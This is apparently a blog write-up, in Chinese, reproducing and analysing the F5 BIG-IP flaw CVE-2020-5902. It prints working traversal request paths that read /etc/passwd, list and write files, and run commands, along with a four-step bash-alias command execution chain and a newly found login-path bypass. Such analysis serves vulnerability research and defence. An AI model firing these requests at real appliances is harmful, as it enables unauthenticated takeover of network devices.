CVE-2020-5902 F5 BIG-IP RCE复现分析

前言

CVE-2020-5902:F5 BIG-IP网上对于tmui和hsqldb的利用已经写的很详细，在此记录了对该漏洞复现过程中的问题。

漏洞复现

这篇文章中https://xz.aliyun.com/t/8008 写了完整的搭建环境过程，不再赘述。
tumi模块公开的几个利用点有文件读取、列目录、写文件、执行命令

/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd
/tmui/login.jsp/..;/tmui/locallb/workspace/directoryList.jsp?directoryPath=/usr/local/www/
/tmui/login.jsp/..;/tmui/locallb/workspace/fileSave.jsp?fileName=/tmp/cmd&content=id
/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user

重点看rce的利用过程：

tmshCmd.jsp?command=create+cli+alias+private+list+command+bash //将list命令设置成bash
fileSave.jsp?fileName=/tmp/cmd&content=id //利用写文件把要执行的命令写入/tmp目录
tmshCmd.jsp?command=list+/tmp/cmd //再调用list执行写入的脚本
tmshCmd.jsp?command=delete+cli+alias+private+list //执行完恢复list命令

命令执行复现最开始没成功，第1步和第3步的命令需要多试几遍才成功。

hsqldb利用方式，通过远程访问并利用org.hsqldb.util.scriptool.main自身的反序列化Gadget来实现RCE
使用poc 复现失败，应该是由于靶机自签名的证书导致连接失败

利用源码在本地搭建测试环境，使用上述PoC稍作改动后复现成功

漏洞分析

从靶机中可以看到该web服务是apache2 + tomcat ajp方式运行。

几处关键的配置文件

#proxy_ajp.conf
ProxyPassMatch ^/tmui/(.*\.jsp.*)$ ajp://localhost:8009/tmui/$1 retry=5
ProxyPassMatch ^/tmui/Control/(.*)$ ajp://localhost:8009/tmui/Control/$1 retry=5
ProxyPassMatch ^/tmui/deal/?(.*)$ ajp://localhost:8009/tmui/deal/$1 retry=5
ProxyPassMatch ^/tmui/graph/(.*)$ ajp://localhost:8009/tmui/graph/$1 retry=5
ProxyPassMatch ^/tmui/service/(.*)$ ajp://localhost:8009/tmui/service/$1 retry=5
ProxyPassMatch ^/hsqldb(.*)$ ajp://localhost:8009/tmui/hsqldb$1 retry=5

# http.conf
<Location /hsqldb>
<RequireAll>
    AuthType Basic
    AuthName "BIG\-IP"
    AuthPAM_Enabled on
    AuthPAM_IdleTimeout 1200
    require valid-user
    Require all granted
</RequireAll>
</Location>
<Location /tmui>
    ......
<RequireAll>
    AuthType Basic
    AuthName "Restricted area"
    AuthPAM_Enabled on
    AuthPAM_ExpiredPasswordsSupport on
    AuthPam_ValidateIP On
    AuthPAM_IdleTimeout 1200
    AuthPAM_DashboardTimeout Off
    require valid-user
    Require all granted
</RequireAll>
</Location>

在http.conf中配置对/hsqldb和/tmui进行pam认证，然后通过mod_ajp将相关请求转发给tomcat。

那apache中如何处理认证授权呢？

对mod_f5_auth_cookie.so进行逆向分析，根据对关键字login.jsp的定位以及对函数调用关系分析，最终定位到函数ap_hook_check_access_ex

调用处理权限的函数sub_1C40，重点关注login.jsp的处理逻辑

对其中几个函数进行了分析标注，check_need_auth函数如下：

check_need_emtoken_url中检测需要token的url：/iControl/、/mgmt/、/api、/em_images/、/em_ucs/、/em_log_audit、/em_monitoring_db/、/em_export/、/em/
check_notneed_auth_url中检测不需要权限的url: /tmui/login.jsp、/xui/common/、/tmui/tmui/login/、/xui/modals/
注：这里的字符串比较有点奇怪，第一个字符好像不影响匹配结果。

所以通过/tmui/login.jsp/xxxx可以绕过apache层的权限验证，同理还有/xui/common/xxx。但由于要转发到tomcat层，能够利用的仅有/tmui/login.jsp和/tmui/tmui/login/。
所以这里有个新的poc，原理同/tmui/login.jsp
/tmui/tmui/login/..;/..;/tmui/locallb/workspace/directoryList.jsp?directoryPath=/usr/local/www/

tomcat中如何解析url并处理对应jsp？

处理url的过程在tomcat容器内部 https://i.blackhat.com/us-18/Wed-August-8/us-18-Orange-Tsai-Breaking-Parser-Logic-Take-Your-Path-Normalization-Off-And-Pop-0days-Out-2.pdf，然后根据web.xml寻找对应的servlet执行。

根据https://xz.aliyun.com/t/8008 ，请求是先进入com.f5.controller.ControlServlet，再其中进行权限校验后才根据mapping调用对应的servlet，此处存在一些疑问。

整个处理流程

tmui模块的流程：

访问 /tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd
apache匹配到/tmui/，调用so进行身份认证
so中检测到访问的路径是/tmui/login.jsp，放行
apache proxy模块匹配到^/tmui/(..jsp.)，将其转发到tomcat ajp
tomcat解析url后变成/tmui/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd

hsqldb模块的流程：

访问/hsqldb;
apache不会匹配到/hsqldb，也就不会调用so进行身份认证
apache2 proxy模块匹配到^/hsqldb(.*)$，将其转发到tomcat ajp

后端jsp脚本

主要是通过tmui/locallb/workspace模块下的几个jsp脚本进行利用，相关分析文章很多，原理也很简单，这里不再赘述。部分文章中提到此利用方式需要近期有用户登录，相关限制代码未看到详细说明，存疑。

编写python PoC

网上公开的PoC多是tmui模块，没有找到hsqldb模块python版本的PoC，所以写了个pocsuite插件。相关请求中的数据包结构Longofo在文章中已经写得很清楚，直接构造数据包使用requests发包即可。但此处有点坑，本地搭建的hsqldb环境会报400 bad request，经测试是由请求头中的user-agent、accept等请求头导致的。在靶机环境中请求正常
利用PoC成功反弹shell

文章中的相关文件及PoC可在此下载

参考链接

https://xz.aliyun.com/t/8008
https://github.com/Critical-Start/Team-Ares/tree/master/CVE-2020-5902
https://xz.aliyun.com/t/7544
https://www.anquanke.com/post/id/210706
https://www.freebuf.com/vuls/243539.html